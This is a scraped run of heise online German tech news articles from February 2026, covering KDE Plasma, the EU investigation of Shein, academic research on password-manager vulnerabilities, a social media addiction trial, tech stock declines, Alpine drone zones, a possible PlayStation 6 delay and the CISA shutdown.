Die Entwickler heben besonders die Funktion „Global Theme“ hervor, womit diejenigen, die Look & Feel ihrer Umgebung auf ihren Geschmack maßschneidern, die aktuellen Einstellungen in solch einem globalen Theme speichern können. Das lässt sich auch beim Umschalten zwischen Tag- und Nachtmodus verwenden. Die Farbauswahl und -einstellungen haben feinere Konfigurationsmöglichkeiten erhalten. Übliche Arbeitsabläufe wollen die KDE-Programmierer ebenfalls beschleunigen. Sofern ein Rechner etwa eine Kamera hat, können Nutzer den WLAN-Zugang nun einfach durch Scannen des QR-Codes einrichten. Eine interessante Funktion ermöglicht die Lautstärkeeinstellung von gerade Sound abspielenden Apps durch Scrollen mit der Maus, während der Zeiger über dem Taskleistensymbol schwebt.

Der Doppelklick bei gedrückter „Alt“-Taste auf einer Datei oder einem Ordner auf dem Desktop öffnet dessen Eigenschaften-Dialog. Bezüglich Barrierefreiheit ist in den Systemeinstellungen ein neuer Graustufenfilter hinzugekommen, sodass es nun vier Filter für unterschiedliche Arten von Farbblindheit gibt. Die „Zoomen und Vergrößern“-Funktion kann als weiteren Tracking-Modus den Mauszeiger immer in der Bildschirmmitte halten. Ähnlich wie das Windows-Screenshot-Tool kann jetzt auch Spectacle Text auf Bildern erkennen und extrahieren. Das soll auch nützlich sein, um beschreibende Texte zu Bildern zu erstellen. Bei Video-Bildschirmaufnahmen lassen sich Anwendungsfenster durch Auswahl der entsprechenden Funktion nach Rechtsklick auf die Fenster-Titelleiste ausblenden.

Videos by heise

Mit Plasma Setup ist ein neuer Einstellungs-Wizard für den ersten Start von Plasma neu hinzugekommen. Der erstellt und konfiguriert Nutzerkonten unabhängig vom Installationsvorgang. Das soll etwa Unternehmen nützen, die Plasma auf Geräten vorinstalliert ausliefern, oder Einrichtungen, die alten Computern mit Plasma neues Leben einhauchen. Außerdem hilft das denjenigen, die Computer mit Plasma darauf weggeben oder verkaufen, ohne neuen Besitzern Zugriff auf die Daten der Vorbesitzer zu geben.

Ende Oktober erschien die Vorgängerversion KDE Plasma 6.5. Augenfälligste Neuerungen darin waren rundgeschliffene Fensterecken, eine verbesserte Zwischenablage und ebenfalls Ausbau der Barrierefreiheit-Funktionen.

Siehe auch:

KDE bei heise download

(dmk)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

EU-Kommission: Shein unterschätzt eigene Risiken

2026-02-17T12:47:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die EU-Kommission hat eine formale Untersuchung gegen den chinesischen Onlinehändler Shein eingeleitet. Der Anbieter könnte seine Pflichten verletzt haben.

(Bild: mundissima /Shutterstock)

17.02.2026, 12:47 Uhr

Lesezeit: 4 Min.

Von

Falk Steiner

108 Millionen Nutzer monatlich soll die Plattform Shein des Anbieters Infinite Styles Services in der Europäischen Union haben. Entsprechend groß sind auch die Pflichten, die das Unternehmen treffen. „In der EU sind illegale Produkte verboten – unabhängig davon, ob sie sich in einem Ladenregal oder auf einem Online-Marktplatz befinden“, sagte die für die Durchsetzung des Digitale-Dienste-Gesetzes zuständige EU-Kommissionsvizepräsidentin Henna Virkkunen am Dienstagmittag zur Einleitung des förmlichen Untersuchungsverfahrens wegen mutmaßlicher Verstöße gegen drei wichtige Vorschriften.

Der Betreiber hätte die Risiken, die von seinem Marktplatz ausgehen würden, deutlich unterschätzt, heißt es von EU-Kommissionsbeamten nun. Deshalb wurde ein formales Untersuchungsverfahren unter dem Digital Services Act (DSA) gegen den vor allem als Modehändler bekannten Marktplatzbetreiber eingeleitet. Dabei soll untersucht werden, ob der Betreiber seinen europarechtlich vorgeschriebenen allgemeinen Sorgfaltspflichten ausreichend nachgekommen ist. Dabei geht es nicht um Einzelfälle, die vielleicht strafrechtlich relevant sind. Solche Einzelfälle sind Angelegenheit der nationalen Strafverfolgungsbehörden, wie etwa im Fall der kinderähnlichen Sexpuppen oder von Waffen, die über Shein vertrieben wurden und derzeit Frankreichs Justiz beschäftigen. Für die EU-Kommission steht vielmehr die Frage im Raum, ob der Shein-Betreiber wirksam gegen den Vertrieb in der EU illegaler Güter vorgeht.

In dem Verfahren soll geklärt werden, ob etwa bei der Produktsicherheit wirksam gegen das Anbieten giftigen Kinderspielzeugs, Kosmetik oder Kleidung mit gesundheitsschädlichen Stoffen wie etwa Blei vorgegangen wird. Ein typischer Branchenstandard ist unter anderem das Hashing von Produktbildern, um das Wiedereinstellen einmal als problematisch erkannter Inhalte zu unterdrücken und Händler für die Zukunft zu sperren. Darüber hinaus setzen Plattformen auf Sperrwortkataloge für Beschreibungen und gängige Umschreibungen sowie auf Schnittstellen zum System der Marktüberwachungsbehörden in der EU.

Plattform könnte riskantes Nutzerverhalten fördern

Ein zweiter Aspekt betrifft die Frage, ob Features wie Belohnungsmechanismen oder Bonussysteme auf unzulässige Weise genutzt werden und ob die Plattform sich mit möglichen Problemen auseinandergesetzt hat und potenziellen Folgen wirksam begegnet. Der Verdacht sei, dass Shein einige Features nutzt, die suchtfördernd sind oder Nutzer zu riskantem Verhalten verleiten, heißt es aus Kommissionskreisen.

Videos by heise

Zudem sieht die EU-Kommission einen möglichen Verstoß durch die Empfehlungslogiken, denen Nutzer bei Shein begegnen. Der DSA verlangt unter anderem, dass die wesentlichen Kriterien für jede Form von Empfehlungssystemen auf den größten Plattformen offengelegt werden. Hier besteht der Verdacht, dass Shein dem nicht nachgekommen ist. Des Weiteren verlangt das Digitale-Dienste-Gesetz auch, dass Nutzern einfach erreichbar eine alternative Sortierung angeboten wird, die nicht auf Profiling, also dem Ausnutzen von Verhaltensdaten des Nutzers, basiert.

Minderjährigenschutz noch nicht Teil des Verfahrens

Möglicherweise ebenfalls bestehende Probleme beim Minderjährigenschutz sind nicht Teil der nun eingeleiteten Untersuchung. Hierzu hat die irische DSC-Behörde jedoch ebenfalls heute ein Auskunftsersuchen an den Marktplatzbetreiber gerichtet. Anschließend soll entschieden werden, ob auch hier ein Anfangsverdacht für ein formelles Verfahren gegen Shein bestehe.

Seitdem Shein im April 2024 als „sehr große Plattform“ (VLOP) eingestuft wurde, hatte die EU-Kommission bislang dreimal Informationen von dem Betreiber angefordert. Shein steht durch gleich mehrere EU-Instrumente unter genauer Beobachtung. Die Einleitung des formellen Untersuchungsverfahrens gegen Shein war lange erwartet worden. Ob am Ende dieses Verfahrens eine formelle Strafe steht, ist nicht absehbar. Bei anderen Anbietern gab es von Selbstverpflichtungen zur Behebung von Missständen bis hin zu Bußgeldbescheiden unterschiedliche Ergebnisse.

So reagiert Shein

Ein Sprecher von Shein erklärte in einer Stellungnahme an heise online, dass das Unternehmen seine Verpflichtungen aus dem DSA ernst nehme. Man werde auch in diesem Verfahren mit der Europäischen Kommission vollumfänglich zusammenarbeiten. „In den letzten Monaten haben wir weiterhin erheblich in Maßnahmen zur Stärkung unserer DSA-Konformität investiert. Dazu gehören umfassende systemische Risikobewertungen und Modelle zur Risikominimierung, verstärkter Schutz für jüngere Nutzer sowie die fortlaufende Weiterentwicklung unserer Dienste, um ein sicheres und vertrauenswürdiges Nutzererlebnis zu fördern.“

Update 18.02.2026, 11:15 Uhr

Eine Stellungnahme von Shein wurde ergänzt.

(mki)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Schwachstellen in Cloud-basierten Passwort-Managern

2026-02-17T11:34:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

IT-Forscher der ETH Zürich haben weitverbreitete Passwort-Manager untersucht und etwa Möglichkeiten gefunden, Passwörter einzusehen.

(Bild: peterschreiber.media/Shutterstock.com)

17.02.2026, 11:34 Uhr

Lesezeit: 4 Min.

Security

Von

Dirk Knop

IT-Sicherheitsforscher der ETH Zürich haben drei populäre Passwort-Manager genauer untersucht. Sie stießen dabei auf einige Sicherheitslücken. Deren Missbrauch setzt jedoch die volle Kompromittierung der Server voraus, das Risiko ist daher nach Einschätzung eines Herstellers lediglich mittel bis niedrig. Viele Lücken sind offenbar bereits seit Langem gestopft.

In ihrem Forschungspapier, das die Schweizer IT-Forscher auf der Konferenz „Usenix Security 2026“ vorstellen wollen, erörtern sie detaillierter, wie sie Bitwarden mit zwölf Angriffen (zunächst zehn, später auf zwölf aufgesplittet), LastPass mit sieben und Dashlane mit sechs Attacken konfrontiert haben. Die Auswahl erfolgte anhand der Nutzerzahlen. Zusammen haben diese Passwort-Manager mehr als 60 Millionen Nutzer und Nutzerinnen und einen Marktanteil von 23 Prozent. „Die Schwere der Angriffe reicht von Verletzungen der Integrität gezielter Benutzer-Tresore bis hin zur vollständigen Kompromittierung aller mit einer Organisation verbundenen Tresore. Bei den meisten Angriffen können Passwörter wiederhergestellt werden“, erklären die IT-Forscher. Das breche das Zero-Knowledge-Prinzip, die Ende-zu-Ende-Verschlüsselung (E2EE), wodurch doch unbefugter Zugang zu Passwörtern möglich werde.

Die Angriffe benötigen nebst vollständig kompromittierter Server-Infrastruktur, bei der Angreifer die Antworten im Netz kontrollieren, in der Regel auch die Interaktion von Nutzern. Im Januar vergangenen Jahres haben die IT-Sicherheitsanalysten die Hersteller mit den Ergebnissen konfrontiert und einen 90-Tage-Zeitraum für ein Responsible Disclosure eingeräumt. Die Anbieter haben jedoch mehr Zeit benötigt, um die Schwachstellen auszubessern, und einige erachten sie zudem nicht als zu korrigierendes Problem.

Sicherheitslücken bereits gestopft

Die betroffenen Hersteller haben ihrerseits mit Veröffentlichungen zu den Schwachstellen reagiert. Bitwarden erklärt in einem Blogbeitrag, dass „alle Probleme, die in dem Bericht identifiziert wurden, vom Bitwarden-Team gelöst wurden“. Die Entwickler haben zudem einen vollständigen 35-seitigen Bericht mit Zusammenfassung, eigener Analyse und den Lösungen zu den gemeldeten Problemen zusammengestellt; neun Seiten behandeln die eigene Analyse. „Sieben Probleme wurden oder werden derzeit aktiv behoben, während drei als bewusste Designentscheidungen akzeptiert wurden, die für die Produktfunktionalität erforderlich sind“, erklären die Entwickler dort zu den ursprünglich als zehn Probleme gemeldeten Lücken, die später nochmals aufgesplittet wurden.

Dashlane schreibt in einem Blog-Beitrag, dass die Entwickler die Forschungsergebnisse ebenfalls überprüft und „Fehlerkorrekturen verteilt haben, wo das angemessen war“. Der Bugfix wurde am 5. November 2025 ab Version 6.2544.1 der Dashlane-Erweiterung verteilt. Sie ergänzen: „Es ist wichtig zu beachten, dass die Ausnutzung dieses Problems eine vollständige Kompromittierung der Server eines Passwort-Managers erfordern würde, gepaart mit äußerst fähigen Angreifern, die in der Lage sind, kryptografische Angriffe auszuführen, sowie einem extrem langen Zeitraum.“

Videos by heise

Auch LastPass reagiert mit einem Blog-Beitrag. Demnach haben die Entwickler bereits ein Problem mit dem Icon- und URL-Handling behoben und arbeiten aktuell an Verbesserungen der Passwort-Stärke. Weitere Änderungen sind für die Konto-Wiederherstellung und Passwort-Sharing geplant. Auch die Integrität der Passwort-Vaults und der Schutz von Metadaten steht demnach auf der To-Do-Liste.

Alle Hersteller betonen, dass es sich um ein hypothetisches Szenario handelt und keine derartigen Exploits in freier Wildbahn beobachtet wurden. Es gebe auch keinen unmittelbaren konkreten Handlungsbedarf. Sie danken einhellig den IT-Forschern für ihre Arbeit und die übermittelten Ergebnisse.

Das BSI hat im vergangenen Dezember ebenfalls Passwort-Manager unter die Lupe genommen. Zwar fand die IT-Sicherheitsbehörde Verbesserungspotenzial, jedoch gibt es demnach keinen Grund, auf ihren Einsatz zu verzichten.

(dmk)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Was für Social Media in US-Suchtprozess auf dem Spiel steht

2026-02-17T09:56:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

In einem ersten US-Prozess dieser Art müssen Geschworene entscheiden, ob Social-Media-Plattformen gestaltet wurden, um süchtig zu machen.

(Bild: Shutterstock.com/ Kaspars Grinvalds)

17.02.2026, 09:56 Uhr

Lesezeit: 5 Min.

Von

Andrej Sokolow
dpa

Im Alter von 6 Jahren schaute sie sich Youtube-Videos an, dann hatte sie einen Instagram-Account – Jahre früher als eigentlich erlaubt. Es folgten Snapchat und TikTok Inzwischen 20 Jahre alt, zerrte die unter den Initialen KGM auftretende junge Frau Social-Media-Netzwerke vor Gericht in den USA.

Der Vorwurf von KGM: Die Plattformen seien extra so gestaltet worden, dass sie süchtig machten – zum Beispiel durch die Möglichkeit zum „endlosen Scrollen“, bei dem man mit nur einer Fingerbewegung immer weiter zum nächsten Beitrag gelangt und sie nie ausgehen. Die Folge für sie seien Depressionen, Angstzustände und Unzufriedenheit mit dem eigenen Körper gewesen. Die Konzerne hätten die Apps als „Fallen“ für junge Nutzer gestaltet.

Die ausufernde und problematische Social-Media-Nutzung von KGM habe den Verlauf ihrer Kindheit verändert, betonte ihr Anwalt Joseph VanZandt in einer Anhörung. Sie selbst verwies bei einer Befragung unter anderem darauf, dass sogenannte Filter auf Instagram, die das Aussehen von Menschen in Bildern verändern, zur Unzufriedenheit mit ihrem eigenen Körper geführt hätten. Als jemand einmal ein unbearbeitetes Bild von ihrem Gesicht gepostet habe, sei sie ausgeflippt. Die Algorithmen hätten ihr auch Ratschläge wie nur eine Gurke pro Tag zu essen, um abzunehmen, aufgetischt.

Snapchat und TikTok suchten Vergleich

KGM klagte gegen Instagram, YouTube, Snapchat und TikTok. Wenige Wochen vor Prozessbeginn in Los Angeles gingen die Firmen hinter Snapchat und TikTok einen Vergleich mit der Klägerin ein. Instagram und YouTube wollen die Vorwürfe aber vor Gericht ausfechten. Da Instagram Teil des Facebook-Konzerns Meta ist, soll an diesem Mittwoch auch Firmenchef Mark Zuckerberg aussagen.

Für die Online-Riesen steht viel auf dem Spiel. In der juristischen Pipeline in den USA sind hunderte vergleichbare Klagen. Der Prozess in Los Angeles ist der erste Testballon dafür, ob solche Vorwürfe vor US-Gerichten Erfolg haben können. In den USA werden unterdessen zum Teil Vergleiche zu Prozessen gegen die Tabakindustrie gezogen, in denen den Unternehmen vorgeworfen wurde, ihren Kunden bewusst verschwiegen zu haben, dass Zigaretten süchtig machen. Die Konzerne zahlten am Ende Milliarden für Gesundheitskosten und schränkten Werbung ein.

Videos by heise

Richterin: Keine Haftungsfreiheit für Funktionen

Social-Media-Plattformen sind in den USA weitgehend vor Klagen geschützt. Der Grund ist eine Regelung, die unter dem Namen Section 230 bekannt ist. Sie besagt im Kern, dass Plattformen nicht für von Nutzern veröffentlichte Inhalte verfolgt werden können. Diese Haftungsbefreiung machte erst den Aufstieg von Diensten wie YouTube oder Facebook möglich.

Lesen Sie auch

Apple Music bekommt KI-Feature, Kooperation mit TikTok

Nach Druck aus Hollywood: ByteDance setzt Seedance 2.0 Grenzen

Kinderschutz: Spanien nimmt Social-Media-Riesen ins Visier

Kommentar zum SPD-Vorschlag: Social-Media-Regeln auch für Erwachsene

Wie sich das endlose Scrollen auf Jugendliche auswirkt

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Sorge an der Börse: Tech-Aktien verlieren

2026-02-17T09:38:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Backlash: Big-Tech-Aktien notieren seit Jahresbeginn im Minus. Die Wall Street ist über das Disruptionspotenzial besorgt.

(Bild: Bro Crock/Shutterstock.com)

17.02.2026, 09:38 Uhr

Lesezeit: 5 Min.

Von

Nils Jacobsen

Noch vor wenigen Monaten schien Künstliche Intelligenz (KI) der sicherste Investmenttrend der Dekade zu sein. Zwischen 2023 und 2025 erlebten Tech-Aktien eine der stärksten Haussephasen der Börsengeschichte. Kapital floss in AI-Infrastruktur, Cloud, Chips und Software. Anfang 2026 zeigt sich jedoch eine überraschende Gegenbewegung. Der Markt beginnt, den Preis für diese Zukunft neu zu berechnen. Der Stimmungsumschwung erfolgte mit dem Jahreswechsel: Investoren fürchten zunehmend, dass generative AI nicht nur Produktivität steigert, sondern auch Geschäftsmodelle zerstört – entlang der gesamten Wertschöpfungskette der digitalen Wirtschaft.

Die entscheidende Frage an der Wall Street lautet inzwischen nicht mehr, wer von AI profitiert, sondern wie viel Wert sie gleichzeitig in welchen Branchen vernichtet. Diese Neubewertung zeigt sich mittlerweile deutlich bei den „Magnificent Seven“: Alle sieben Big-Tech-Aktien liegen 2026 gegen den allgemeinen Marktrend bislang im Minus. Amazon und Microsoft verzeichnen dabei sogar zweistellige Verluste, obwohl sie operativ weiter solide wachsen und in den jüngsten Quartalsbilanzen kaum Zeichen der Schwäche zeigten. Der Markt bewertet jedoch nicht mehr nur die Wachstumsperspektiven, sondern das Wachstum relativ zu den immer größeren Investitionen.

Die großen Tech-Konzerne haben zuletzt ihre AI-Investitionsprogramme (Capex) massiv ausgeweitet. Gleichzeitig beginnen Investoren, die kurzfristigen Renditen dieser Ausgaben kritischer zu hinterfragen. Das zentrale Bewertungsproblem lautet: Wie schnell lassen sich die Investitionen monetarisieren – falls überhaupt?   

Hype-Aktien wie Palantir, Duolingo und Reddit sind schwer unter Druck

Noch 2024 und 2025 waren steigende Capex-Quoten ein bullisches Signal, standen also für Aufstieg. Heute interpretiert der Markt sie zunehmend als Margenrisiko. Erste Gewinnrevisionen spiegeln diese Unsicherheit wider. Bei mehreren großen Cloud-Anbietern wie Azure und Google Cloud haben Analysten die Konsensschätzungen für operative Margen 2026 und 2027 zuletzt nach unten angepasst.

Parallel dazu geraten klassische Software-Bewertungen immer massiver unter Druck. Während viele SaaS-Unternehmen in der vergangenen Dekade mit Umsatzmultiplen von 10 bis 20 gehandelt wurden, liegt der Median inzwischen deutlich darunter. Der Grund ist strukturell: Generative KI senkt die Eintrittsbarrieren, erhöht den Wettbewerb und droht, bestehende Preismodelle zu deflationieren.

Diese Entwicklung trifft auch Hype-Aktien aus dem Technologiesektor. Unternehmen wie Palantir, Duolingo, Reddit oder AppLovin’ verloren seit Jahresbeginn zwischen 30 und 50 Prozent, weil ihre Bewertungen stark auf zukünftigen Wachstumsannahmen basierten. Auch Quantum-Computing-Titel korrigierten deutlich.

Die Parallelen zum Tech-Bärenmarkt von 2022 sind damit offensichtlich. Damals verloren viele Hype-Tech-Aktien vom Top 70 bis 80 Prozent. Die aktuelle Bewegung folgt einem ähnlichen Muster: Zunächst fallen hoch bewertete Wachstumswerte, anschließend geraten auch Marktführer unter Druck.

Elon Musk, Sam Altman & Co warnen vor den Disruptionsrisiken durch KI für den Arbeitsmarkt

Hinzu kommt eine makroökonomische Dimension. Mehrere Tech-CEOs warnen in den letzten Wochen vor einer beschleunigten Disruption des Arbeitsmarkts. Mustafa Suleyman, CEO von Microsoft AI, sieht die großen Veränderungen in unmittelbarer Zukunft kommen: „Viele klassische Bürojobs sind in ihrer täglichen Arbeit so stark standardisiert und softwarelastig, dass „bei einem Anwalt, Buchhalter, Projektmanager oder im Marketing-Bereich die meisten Aufgaben innerhalb von 12 bis 18 Monaten vollständig von KI automatisiert werden“.

Videos by heise

Noch größer – und zugleich dystopischer – klingt es bei Elon Musk. Er behauptet, „KI und Roboter werden alle Jobs ersetzen. Arbeiten wird optional.“ Gleichzeitig bezeichnete er KI als seine „größte Angst“ – nämlich als Technologie, die er für mächtig genug hält, die Grundlagen von Arbeit und Einkommen zu verschieben. Auch Sam Altman, CEO von OpenAI, formulierte es auf seine Art maximal zugespitzt: In manchen Bereichen würden Jobs „komplett wegfallen“. Außerdem warnt Altman, dass sich Veränderungen, die früher über Generationen liefen, in einer kurzen Zeitspanne stauen würden – und dass ihn die Konsequenzen persönlich belasten.

Dario Amodei, CEO von Anthropic, gießt zusätzlich kaltes Wasser in die Komfortzone der Politik: KI könne „50 Prozent der Einstiegs-Bürojobs“ eliminieren; die Arbeitslosigkeit könne in einem Extrem-Szenario bis auf 20 Prozent steigen. Er nannte das „ungewöhnlich schmerzhaft“ – und schob die wohl wichtigste Erkenntnis hinterher: „Die meisten Gesetzgeber sind sich nicht bewusst, dass das kurz bevorsteht.“

Lesen Sie auch

Merz will Klarnamen im Internet sehen

Donnerstag: Perplexity-KI ohne Anzeigen, Google-KI für 30-sekündige Musikstücke

#heiseshow: Social-Media-Verbot, Spotifys KI-Entwicklung, Smart-Meter-Pflicht

Google Gemini kann jetzt KI-Musik generieren - in 30-Sekunden-Happen

Angst vor Vertrauensverlust: Perplexity verzichtet auf Werbung

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Schweizer Alpine Drone Consortium will feste Test-Drohnenflugzonen in den Alpen

2026-02-17T09:28:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Das schweizerische Alpine Drone Consortium will Testflüge von Drohnen in den Schweizer Alpen vereinfachen. Die Schweiz soll so das "Drone Valley" bleiben.

(Bild: DJI)

17.02.2026, 09:28 Uhr

Lesezeit: 2 Min.

Von

Oliver Bünte

Der schweizerische Verein Alpine Drone Consortium setzt sich dafür ein, Drohnenflugzonen in den Alpen, genauer gesagt im Schweizer Kanton Uri, zu schaffen. Die Drohnenflugzonen sollen als Testflugraum für Drohnen im realen alpinen Gebiet unter besonders schwierigen Bedingungen werden, schreibt der SRF.

Um Drohnentests im alpinen Raum durchzuführen, müssen die Vorgaben des Schweizer Bundesamt für Zivilluftfahrt (BAZL) eingehalten werden. Fluggenehmigungen für den alpinen Raum zu erhalten, erweise sich oft als zeitintensiv und sei mit vielen Hindernissen verbunden, bemängelt das Alpine Drone Consortium. Das behindere die Weiterentwicklung von Flugdrohnen, die in den Bergen etwa zur Überwachung von dort gelegener Infrastruktur wie Wasserkraftwerken, zur Risikobeurteilung von Murgängen und Lawinen eingesetzt werden. Außerdem testen Hersteller von herkömmlichen Drohnen ihre Multikopter in den Schweizer Alpen gerne, um die Standfestigkeit ihrer Drohnen auch bei widrigen Umgebungsbedingungen, wie sie dort herrschen, zu erproben. Das Problem, eine Fluggenehmigung dafür zu erhalten, stellt sich allerdings besonders dann, wenn unterschiedliche Hersteller mit verschiedenen Drohnen in demselben Gebiet testen wollen. Aus Sicherheitsgründen ist das kaum möglich.

Spezielle Flugzonen im Kanton Uri

Das Alpine Drone Consortium schlägt deshalb vor, im Gebiet des Kantons Uri zu Testzwecken von Drohnen spezielle Flugzonen einzurichten, die als Testfeld von Drohnenherstellern einfacher zugänglich sind und genutzt werden können. Das Gebiet sei dazu ideal: Uri sei nur schwach besiedelt, trotzdem gut erschlossen und zugänglich und habe außerdem anspruchsvolle Geländeformationen für Extremtests.

Getragen wird die Initiative des Alpine Drone Consortiums von den Kantonen Uri, Graubünden und Tessin. Auch Hochschulen, Wirtschaftsunternehmen und Drohnenhersteller sind mit von der Partie. Das BAZL lehnt die Vorschläge des Konsortiums zwar nicht komplett ab, hält sie aber für schwierig umzusetzen. Die geltenden rechtlichen Grundlagen seien nicht dafür vorgesehen, ganze Gebiete als Testzonen für viele Nutzer freizugeben. Vielmehr sehen die Regulierungen vor, einzelne Genehmigungen für spezifische Anwendungen zu erteilen. Es kann also dauern, bis diese angepasst werden können – sofern das überhaupt gewollt ist.

Videos by heise

Dabei hängt für die Schweiz einiges von der weiteren Entwicklung der Freigabe von Testflügen im alpinen Raum ab, um auch weiterhin als „Drone Valley“ zu gelten, wo Drohnen unter härtesten Bedingungen außerhalb von Laboren getestet werden können. Denn längst haben andere Länder die Lücke erkannt. In den USA etwa werden solche Testgebiete für unbemannte Flugsysteme in Alaska und weiteren Bundesstaaten eingerichtet und betrieben.

Lesen Sie auch

Monitoring der Alpengletscher mit Drohnenaufnahmen und digitalen Zwillingen

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Speicherkrise: Playstation 6 könnte bis 2028 oder 2029 verschoben werden

2026-02-17T09:24:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die Speicherkrise setzt auch Konsolenhersteller unter Druck: Während die Playstation 6 vor einer Verschiebung stehen soll, könnte die Switch 2 teurer werden.

(Bild: Ksjundra07/Shutterstock.com)

17.02.2026, 09:24 Uhr

Lesezeit: 2 Min.

Von

Daniel Herbig

Sony erwägt laut einem Bericht von Bloomberg, den Release der Playstation 6 auf 2028 oder sogar 2029 zu verschieben. Hintergrund sind steigende Preise und Lieferengpässe bei Speicherkomponenten wie RAM und SSDs. Dem Bericht zufolge erwägt Nintendo aus denselben Gründen, den Preis der Switch 2 noch in diesem Jahr anzuheben.

Grund für die enormen Preissteigerungen ist der hohe Speicherbedarf von KI-Rechenzentren. Weil Hyperscaler bereit sind, hohe Preise zu zahlen, reguliert sich der Markt derzeit nicht selbst: Die Nachfrage sinkt trotz der Preissteigerungen nicht. Dem Bericht von Bloomberg zufolge könnte sich die Lage sogar weiter verschärfen – das Wirtschaftsmagazin vergleicht die aktuelle Situation mit der Hyperinflation der Weimarer Republik. Neue Produktionskapazitäten für Speichermodule aufzubauen, dauert Jahre.

Steam Deck OLED schlecht verfügbar

Lieferengpässe gibt es mittlerweile bereits bei den größten PC-Herstellern, die trotz langfristiger Lieferverträge nicht mehr ausreichend RAM-Riegel bekommen. Betroffen ist auch Valve: Auf seiner US-Webseite erklärt Valve laut The Verge, dass die schlechte Verfügbarkeit des Steam Deck OLED auf Engpässe bei Speicherkomponenten zurückzuführen sei. In Deutschland ist die Standard-Variante des Steam Deck OLED aktuell ausverkauft, das Modell mit 1 Terabyte Speicherplatz kann man aber noch kaufen.

Anfang Februar hatte Valve hinter die für Anfang 2026 geplanten Releases von Steam Machine, Steam Frame und Steam Controller wegen der Speicherkrise ein Fragezeichen gesetzt.

Release-Verzögerung hätte umfangreiche Auswirkungen

Microsoft und Sony haben die Preise ihrer Spielkonsolen in den vergangenen Jahren bereits mehrfach angehoben. Eine Release-Verschiebung der Playstation 6 wäre keine Kleinigkeit: Produktionspläne und Lieferketten müssten über Bord geworfen, Hardware-Konfigurationen neu gedacht werden. Für die wirtschaftlichen Aussichten von Sony und unabhängigen Spieleentwicklern wäre das ein harter Schlag.

Videos by heise

Sony hat bislang keinen Release-Termin für seine Playstation 6 angekündigt, Branchenbeobachter gingen aber lange von 2027 als mögliches Release-Jahr aus. Chiphersteller AMD gab kürzlich bekannt, für den Release einer Next-Gen-Xbox im Jahr 2027 vorbereitet zu sein. In der Regel kommen die Konsolengenerationen von Xbox und Playstation zu ähnlichen Zeitpunkten auf den Markt. Neue Konsolengenerationen von Sony und Microsoft erschienen bislang rund alle sieben Jahre, Playstation 5 und Xbox Series X/S kamen 2020 in den Handel.

Empfohlener redaktioneller Inhalt

Mit Ihrer Zustimmung wird hier ein externer Preisvergleich (heise Preisvergleich) geladen.

Preisvergleiche immer laden

Ich bin damit einverstanden, dass mir externe Inhalte angezeigt werden. Damit können personenbezogene Daten an Drittplattformen (heise Preisvergleich) übermittelt werden. Mehr dazu in unserer Datenschutzerklärung.

(dahe)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

IT-Sicherheitsbehörde CISA im Notbetrieb

2026-02-17T09:08:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die zum Wochenende ausgelaufene Finanzierung des DHS betrifft auch die IT-Sicherheitsbehörde CISA. Diese befindet sich nun im Notbetrieb.

(Bild: heise medien)

17.02.2026, 09:08 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Von den 2341 Angestellten der US-amerikanischen Cybersicherheitsbehörde CISA müssen 888 derzeit unbezahlt ihrer Arbeit nachkommen. Damit stellt die Behörde einen Notbetrieb sicher.

Auslöser ist ein Behörden-Shutdown in den USA, nachdem sich Demokraten und Republikaner nicht auf Bedingungen für eine weitere Finanzierung des Department of Homeland Security (DHS), des US-Heimatschutzministeriums, einigen konnten. Dem liegen Streitigkeiten zum Verhalten von Beamten der Polizei- und Zollbehörde United States Immigration and Customs Enforcement (ICE) zugrunde. Aufgrund der anhaltenden Kritik an Einsätzen von ICE hat der französische IT-Beratungskonzern Capgemini seine US-Tochter kürzlich abgestoßen.

DHS-Shutdown betrifft IT-Sicherheitsbehörde

Im Rahmen des DHS-Shutdowns ist auch die Finanzierung der Cybersecurity and Infrastructure Security Agency (CISA) temporär ausgesetzt, nachdem das DHS am Freitagabend den Betrieb einstellen musste. Wie viele CISA-Mitarbeiter beurlaubt werden, ist unklar. Jedoch sagte der amtierende CISA-Direktor Madhu Gottumukkala in einer Anhörung vor dem US-Repräsentantenhaus zu den Folgen eines DHS-Shutdowns aus, dass die CISA plane, 888 der 2341 Angestellten als Ausnahme davon zu behandeln. Diese Angestellten müssen während des Shutdowns ohne Bezahlung arbeiten. Ihr Einsatz sei streng begrenzt auf Aktivitäten, die Leben und Eigentum schützen.

"Ein Shutdown zwingt viele unserer IT-Sicherheitsexperten und Bedrohungsjäger an vorderster Front dazu, ohne Bezahlung zu arbeiten – und das zu einer Zeit, in der Nationalstaaten und kriminelle Organisationen ihre Bemühungen verstärken, Schwachstellen in kritischen Systemen auszunutzen, auf die sich die Amerikaner verlassen, was unsere nationale Verteidigung einer beispiellosen Belastung aussetzt", sagte Gottumukkala in der Anhörung.

Videos by heise

